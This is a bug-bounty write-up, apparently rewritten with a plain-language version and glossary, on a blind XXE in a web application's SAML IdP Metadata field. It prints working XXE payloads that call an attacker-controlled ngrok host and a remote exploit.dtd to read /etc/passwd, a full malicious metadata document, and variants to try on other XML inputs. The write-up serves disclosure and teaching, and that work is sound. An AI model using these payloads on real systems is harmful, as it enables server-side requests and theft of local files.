XXE in SAML SSO Writeup - Bug Bounty
Published on cyberick.com
Today I am going to share how I found an XXE in SAML SSO of one web application. This was a private program on HackerOne and they were giving paid plan credentials for testing.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up describes an XML External Entity (XXE) injection found in the SAML single sign-on (SSO) configuration of a web application. The target was a private program on HackerOne, and the program supplied paid plan credentials for testing. The scope was limited to a small set of features, so after finishing those the researcher moved on to features that were not yet in scope.
One of those out-of-scope features was called "Security Controls". It offered several different types of authentication, and one of them was SAML. The SAML configuration accepted XML in the IdP Metadata field: the place where an administrator normally pastes the identity provider's metadata document so that the service provider knows the IdP's entity ID, endpoints and keys.

Setup
- A private HackerOne program with paid plan credentials provided by the program.
- The "Security Controls" feature, reachable in the application, with a SAML option whose IdP Metadata field takes raw XML.
- A metadata generator at
https://www.samltool.com/idp_metadata.phpandhttps://www.samltool.com/sp_metadata.php, used to produce a syntactically valid metadata document. - An out-of-band listener. The first payload used an ngrok host; the later payloads used a PortSwigger Web Security Academy lab host serving an
exploit.dtdfile. - The PortSwigger XXE labs, in particular the blind XXE with out-of-band exfiltration lab, used as a reference for the DTD technique.
Finding it
The researcher generated IdP metadata with the samltool generator and submitted it. The application accepted the document, but authentication did not work because the data in the generated IdP Metadata XML was wrong. Acceptance without a working login was the interesting part: the server was parsing attacker-supplied XML from that field.
That led to trying basic XXE payloads against the field. One of them worked.
Exploitation
Step 1: Confirm that external entities are resolved
The first payload defines a parameter entity whose system identifier points at an attacker-controlled host, and references it immediately:
<!DOCTYPE foo [ <!ENTITY % asd SYSTEM "https://[redacted]"> %asd;]>
The <!ENTITY % asd ...> declaration creates a parameter entity, and %asd; forces it to be expanded. The system identifier uses the userinfo trick: app.target.com before the @ is treated as a username by the URL parser, so the request actually goes to 29de5f70.ngrok.io. This is the basic payload the researcher used for receiving responses from the target server, that is, for confirming that the parser makes an outbound request to a host the attacker controls.
Step 2: Report and triage
A few weeks later the feature came into scope, and the researcher reported it as "XXE in SAML SSO" with this payload inside the metadata XML. The report was triaged by a HackerOne triager. The researcher argued with the triager, who was online at the time and answered quickly.


Step 3: Move from blind to exfiltration with an external DTD
To settle the question, the researcher went through all the PortSwigger XXE labs in about 20 minutes and concluded that this case could be exploited with a DTD file. The payload used the lab's external DTD:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://[redacted].web-security-academy.net/exploit.dtd"> %xxe;]>
Here the parameter entity %xxe; is loaded from a remote DTD rather than being defined inline. The remote DTD is loaded from the lab host; the report does not show its contents. This is the standard technique for blind XXE, where the application never reflects the parsed value in its response.

With this payload the researcher was able to fetch /etc/passwd data using the DTD. The triager was nice and responded.

Step 4: Final metadata document
The complete XML metadata file submitted in the end was:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://[redacted].web-security-academy.net/exploit.dtd"> %xxe;]>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata"
validUntil="2020-04-20T14:37:12Z"
cacheDuration="PT114100S"
entityID="101">
<md:SPSSODescriptor AuthnRequestsSigned="false" WantAssertionsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:SingleLogoutService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect"
Location="https://app.target.com" />
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
Location="https://app.target.com" index="1" />
</md:SPSSODescriptor>
</md:EntityDescriptor>
The document keeps a normal-looking md:EntityDescriptor with an md:SPSSODescriptor, a SingleLogoutService, a NameIDFormat and an AssertionConsumerService, so it still looks like plausible SAML metadata. The DOCTYPE with the external parameter entity sits in front of it and is processed by the same XML parser before the metadata is used.
Root cause
The application parses the IdP Metadata XML supplied by the user with an XML parser that resolves external entities and allows a DOCTYPE declaration. Because the parser is permitted to fetch external resources, an entity declared in the document (or in a remote DTD it references) causes the server to make outbound requests and, through the DTD, to read local files such as /etc/passwd. The report does not describe the parser or library in use, so the exact component is not identified here.
Impact
Under the conditions shown, an attacker who can reach the SAML IdP Metadata field can make the server issue requests to an arbitrary host and can read local files through an external DTD, as demonstrated with /etc/passwd. The feature was out of scope when the issue was first found and only became reportable once it entered scope.
Fix
The general remediation for this class of issue is to configure the XML parser to disallow DOCTYPE declarations and external entity resolution, and, where the metadata format permits it, to validate the document against the SAML metadata schema before use.
Variants to test
- Other fields that accept XML: import/export of configuration, SOAP endpoints, SAML SP metadata, WS-Federation metadata. A positive result is an outbound request to your listener when the document is submitted.
- Inline entity definitions versus remote DTDs: if inline entities are blocked but a remote DTD still loads, the blind exfiltration path via
exploit.dtdremains open. A positive result is file contents arriving at your listener. - The userinfo trick in system identifiers, as in the first payload, to route requests to your host while the URL still looks like the target's domain. A positive result is a hit on the listener with the target host in the userinfo portion.
- Parameter entities in different positions of a valid metadata document, for example inside attribute values or element text, to see which parts of the document are parsed before validation rejects it. A positive result is a callback even when the metadata is later rejected as invalid.
What happened, in plain words
A security researcher was testing a web application through a private bug bounty program on HackerOne. A bug bounty program is an arrangement where a company invites independent researchers to look for security problems in its systems and report them, often for a reward. This particular program gave testers paid plan credentials, meaning login details for a paid subscription level of the product, so they could explore it properly.
The program's scope was limited: only a few features were allowed to be tested. Scope is the list of things a researcher is permitted to attack. After finishing the allowed features, the researcher started looking at features that were not yet in scope, purely out of curiosity. One of them was called "Security Controls", and it offered several different ways to log in. One of those ways was SAML.
SAML (Security Assertion Markup Language) is a standard that lets one system, called the identity provider (IdP), vouch for a user's identity to another system, called the service provider (SP). Think of it like a passport: the passport office (IdP) issues a document, and the hotel (SP) trusts it without phoning the passport office every time. To set this up, the service provider needs a small configuration document from the identity provider, called IdP metadata. That document is written in XML, a text format that uses tags in angle brackets to describe structured data, much like a very strict form with labelled boxes.
The "Security Controls" feature had a field where an administrator pastes that IdP metadata XML. The researcher noticed the field accepted raw XML, and suspected that the server might be reading that XML in an unsafe way. That suspicion turned out to be correct: the server was vulnerable to a class of bug called XXE, short for XML External Entity injection.
An entity in XML is a named placeholder that the parser (the program that reads the XML) replaces with something else. Normally entities are harmless shortcuts. But XML also allows "external" entities, which tell the parser to go and fetch something from a URL or from a file on the server. If an application lets an attacker define such entities, the attacker can make the server fetch things on their behalf, or read local files and send their contents out. That is XXE.
Here is the story step by step.
Finding the feature
The researcher finished testing the features that were in scope, then looked at others. The "Security Controls" feature stood out because it listed several authentication types.

Checking each option, the researcher saw that the SAML option accepted XML in the IdP Metadata field. That felt promising: any place where a server parses XML supplied by a user is a candidate for XXE.
Building a valid-looking metadata document
To test the field properly, the researcher first needed a metadata document that looked legitimate. Searching online for information about SAML IdP metadata led to a free generator:
These pages produce a correctly shaped metadata file for you, so you do not have to write one by hand. The researcher generated metadata and submitted it to the application. The application accepted it, but login did not work, because the data inside the generated XML was wrong for a real identity provider.
That acceptance was the interesting part. The server was clearly reading the XML from the field. If it read XML, it might also follow the dangerous instructions that XML can contain.
Step 1: Checking whether the server fetches external things
The next step was to send a minimal XXE payload and see whether the server made a request to a host the researcher controlled. The payload used was:
<!DOCTYPE foo [ <!ENTITY % asd SYSTEM "https://[redacted]"> %asd;]>
Line by line, in plain words:
<!DOCTYPE foo [ ... ]>declares a document type namedfooand opens a block of custom entity definitions inside the square brackets. This block is where an attacker can add their own placeholders.<!ENTITY % asd SYSTEM "...">defines a parameter entity calledasd. The%marks it as a parameter entity, a kind used inside the document type definition rather than in the body of the document.SYSTEMfollowed by a URL means "fetch this from that address".%asd;uses the entity, which forces the parser to go and fetch the URL.- The URL
https://[redacted]uses a trick. In a web address, anything before an@is treated as a username, and the real destination is what comes after the@. So the address looks like it belongs toapp.target.com, but the request actually goes to29de5f70.ngrok.io, a host the researcher controlled. ngrok is a service that gives you a public address that forwards to a machine you run, useful for watching incoming requests.
Why this step: if the server's XML parser follows the entity, it will connect out to the researcher's listener. Seeing that connection proves the parser is resolving external entities, which is the core of XXE. The researcher describes this as the basic payload for receiving responses from the target server.
Step 2: Reporting and triage
A few weeks later the feature came into scope, so it became fair game to report. The researcher submitted the finding as "XXE in SAML SSO", with this payload inside the metadata XML. The report was triaged by a HackerOne triager. Triage is the first review step, where a staff member checks whether a report is valid and how serious it is.


The researcher argued with the triager, who happened to be online and replied quickly. The researcher later calls this arguing a mistake.
Step 3: Proving it with an external DTD
To settle the question, the researcher worked through all the PortSwigger XXE labs in about 20 minutes. PortSwigger Web Security Academy is a free training site with deliberately vulnerable practice applications, each focused on one technique. The conclusion was that this case could be exploited with a DTD file.
DTD stands for Document Type Definition, the part of an XML document that declares entities. A DTD can also live in a separate file and be loaded from a URL. That matters because the remote file can contain more entity definitions than you could comfortably fit inline, including ones that read local files and send their contents out.
The payload used was:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://[redacted].web-security-academy.net/exploit.dtd"> %xxe;]>
Line by line:
<?xml version="1.0"?>is the standard opening line of an XML document, stating which version of XML is in use.<!DOCTYPE foo [ ... ]>again opens a block of entity definitions.<!ENTITY % xxe SYSTEM "...exploit.dtd">defines a parameter entity namedxxewhose content is fetched from a remote DTD file hosted on a PortSwigger lab domain.%xxe;uses the entity, so the parser downloads that DTD and processes whatever it contains.
Why this step: the first payload only proved that the server would make an outbound request. It did not prove that data could be read and taken out. Loading a remote DTD was the step that let the researcher fetch /etc/passwd data. Blind here means the application never shows you the result of parsing in its response, so you have to make the server send the data to you instead.

With this payload the researcher was able to fetch /etc/passwd data using the DTD. /etc/passwd is a standard file on Linux and similar systems that lists user accounts; it is a common proof target because reading it shows the attacker can read files on the server. The triager was nice and responded.

Step 4: The final metadata document
The complete XML metadata file submitted in the end was:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://[redacted].web-security-academy.net/exploit.dtd"> %xxe;]>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata"
validUntil="2020-04-20T14:37:12Z"
cacheDuration="PT114100S"
entityID="101">
<md:SPSSODescriptor AuthnRequestsSigned="false" WantAssertionsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:SingleLogoutService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect"
Location="https://app.target.com" />
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
Location="https://app.target.com" index="1" />
</md:SPSSODescriptor>
</md:EntityDescriptor>
Line by line, in plain words:
<?xml version="1.0"?>is the standard XML opening line.- The
<!DOCTYPE ...>line is the same malicious entity definition as before, pointing at the remoteexploit.dtd. <md:EntityDescriptor ...>opens the main SAML metadata element. Themd:prefix is a namespace, a way of saying which standard these tag names belong to.validUntilsays how long the document is valid,cacheDurationsuggests how long it may be cached, andentityIDis an identifier for this entity.<md:SPSSODescriptor ...>describes the service provider side. The attributes say whether authentication requests and assertions must be signed, and which SAML protocol version is supported.<md:SingleLogoutService ...>says where logout messages should be sent, and by which binding (here HTTP-Redirect, a way of sending SAML messages as URL parameters).<md:NameIDFormat>states which format of user identifier is expected.<md:AssertionConsumerService ...>says where the identity provider should deliver the login assertion, and by which binding (here HTTP-POST, a way of sending SAML messages as form posts).- The closing tags end the elements in the reverse order they were opened.
Why this shape: the document keeps a normal-looking SAML metadata body, so it still looks like plausible metadata to anyone glancing at it. The dangerous DOCTYPE sits in front and is processed by the same XML parser before the metadata is used.
Why it worked
The application takes the IdP Metadata XML supplied by the user and parses it with an XML parser that resolves external entities and allows a DOCTYPE declaration. Because the parser is permitted to fetch external resources, an entity declared in the document, or in a remote DTD it references, causes the server to make outbound requests and, through the DTD, to read local files such as /etc/passwd. The report does not describe which parser or library was in use.
What an attacker could do
Under the conditions shown, someone who can reach the SAML IdP Metadata field can make the server issue requests to an arbitrary host and can read local files through an external DTD, as demonstrated with /etc/passwd. The report does not go further than that: it does not show retrieval of credentials, signing keys or other SAML secrets, and it does not describe what else the parser had access to. The feature was out of scope when the issue was first found and only became reportable once it entered scope.
How to fix it
The general remediation for this class of issue is to configure the XML parser to disallow DOCTYPE declarations and external entity resolution, and, where the metadata format permits it, to validate the document against the SAML metadata schema before use. A schema is a formal description of what a valid document may contain, so validation rejects anything unexpected before it is processed.
Other places to try the same idea
- Other fields that accept XML: import/export of configuration, SOAP endpoints, SAML SP metadata, WS-Federation metadata. A positive result is an outbound request to your listener when the document is submitted.
- Inline entity definitions versus remote DTDs: if inline entities are blocked but a remote DTD still loads, the blind exfiltration path via
exploit.dtdremains open. A positive result is file contents arriving at your listener. - The userinfo trick in system identifiers, as in the first payload, to route requests to your host while the URL still looks like the target's domain. A positive result is a hit on the listener with the target host in the userinfo portion.
- Parameter entities in different positions of a valid metadata document, for example inside attribute values or element text, to see which parts of the document are parsed before validation rejects it. A positive result is a callback even when the metadata is later rejected as invalid.
Glossary
- Bug bounty program: an arrangement where a company invites independent researchers to find and report security problems, often for a reward.
- Scope: the list of systems and features a researcher is permitted to test and report on.
- Credentials: login details, such as a username and password, that let someone sign in to an account.
- SAML: a standard that lets one system (the identity provider) vouch for a user's identity to another system (the service provider).
- SSO (single sign-on): a setup where one login gives access to several applications without signing in again to each one.
- Identity provider (IdP): the system that authenticates the user and issues the identity statement.
- Service provider (SP): the application that trusts the identity provider and lets the user in.
- IdP metadata: an XML document describing an identity provider, including its identifiers, addresses and keys, which the service provider needs in order to trust it.
- XML: a text format that uses tags in angle brackets to describe structured data.
- XML parser: the program that reads an XML document and turns it into data the application can use.
- Entity: a named placeholder in XML that the parser replaces with other content.
- Parameter entity: an entity used inside the document type definition rather than in the body of the document, marked with a
%. - External entity: an entity whose content is fetched from a URL or a file rather than written inline.
- XXE (XML External Entity injection): a vulnerability where an application lets an attacker define external entities, so the parser fetches things or reads files on the attacker's behalf.
- DOCTYPE / DTD (Document Type Definition): the part of an XML document that declares entities and rules; it can also live in a separate file loaded from a URL.
- Blind XXE: XXE where the application never shows the parsed result in its response, so the attacker has to make the server send data out to a host they control.
- Out-of-band: a channel separate from the normal response, used to receive data or confirmations, for example a request to a server you run.
- Listener: a server you control that records incoming requests, used to see whether the target connected to you.
- ngrok: a service that gives you a public web address that forwards to a machine you run.
- Userinfo trick: putting a fake username before an
@in a URL so the address looks like one domain but actually points to another. - Triage: the first review of a bug report, where staff check whether it is valid and how serious it is.
- HackerOne: a platform where bug bounty programs are run and reports are submitted and reviewed.
- PortSwigger Web Security Academy: a free training site with deliberately vulnerable practice applications, each focused on one technique.
/etc/passwd: a standard file on Linux and similar systems that lists user accounts, often used as proof that files can be read.- Namespace: a way of saying which standard a set of tag names belongs to, shown as a prefix such as
md:. - Schema: a formal description of what a valid document may contain, used to check documents before processing.
- SOAP: a protocol for exchanging structured messages between systems, usually in XML.
- WS-Federation: a standard for sharing identity information between systems, an alternative to SAML.